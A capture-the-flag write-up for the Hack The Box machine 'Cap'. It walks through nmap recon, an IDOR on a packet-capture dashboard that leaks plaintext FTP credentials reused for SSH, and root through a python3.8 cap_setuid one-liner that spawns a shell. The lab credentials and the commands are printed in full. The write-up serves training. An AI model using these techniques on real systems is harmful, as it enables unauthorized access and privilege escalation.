HackTheBoxEasy

HTB: Cap

A "Security Snapshot" dashboard lets any user page through other users' packet captures by ID — one of them leaks an FTP password reused for SSH, and a stray Linux capability on python3.8 hands over root instantly.

Cartoon pirate face inside a green ring badge

Recon

┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Cap]
└──╼ $nmap -A -p- -Pn -n -T4 -vv -oN nmap.txt 10.129.66.72

21/tcp open  ftp     syn-ack vsftpd 3.0.3
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    syn-ack Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn

Three ports: FTP, SSH, and a Gunicorn-served “Security Dashboard” on 80.

The Dashboard — an ID-Based IDOR

The site lets you trigger a “Security Snapshot” — a live packet capture of the box’s own traffic. Running one redirects the browser to /data/<id>, where <id> is just an incrementing integer for that scan.

Nothing scopes <id> to the session that created it — walking the ID space by hand (/data/0, /data/1, …) serves up every user’s captures, including scans that ran before this session ever started.

Finding the Leak

/data/0 is the interesting one — download the raw capture and open it in Wireshark:

wget http://10.129.66.72/data/0 -O 0.pcap
wireshark 0.pcap

It’s an older capture full of plaintext FTP traffic. Right-click any FTP packet → Follow → TCP Stream reassembles the whole control-channel session in one view, login exchange included:

USER nathan
PASS M3g4c0rp123

Since FTP never encrypts its control channel, the credentials just sit there in the stream in plaintext.

Credential reuse is worth checking immediately — and it pays off:

┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Cap]
└──╼ $ssh nathan@10.129.66.72

nathan@cap:~$ cat user.txt
c66d[REDACTED]d05d

Privesc — a Stray Capability on python3.8

No usable sudo rights, no writable cron, no interesting SUID binaries — but getcap turns up something better:

nathan@cap:~$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

cap_setuid on the Python interpreter itself means any script it runs can call setuid(0) and simply become root — no exploit needed, just the standard GTFOBins technique for a cap_setuid-capable interpreter:

nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# cd /root
# cat root.txt
ab11[REDACTED]b031

Takeaways

  • IDOR doesn’t need to be subtle. A sequential, unauthenticated /data/<id> was enough to read every other user’s packet capture — no session or ownership check on the resource at all.
  • PCAPs are frequently full of plaintext creds. FTP, HTTP Basic Auth, Telnet — any legacy or unencrypted protocol caught in a capture is worth a credential-focused pass before anything else.
  • cap_setuid on an interpreter is root, full stop. Capabilities are often treated as “safer than SUID,” but granting cap_setuid to something as generally scriptable as python3 is functionally equivalent to a root shell for any user who can invoke it.

Flags

user: c66d[REDACTED]d05d
root: ab11[REDACTED]b031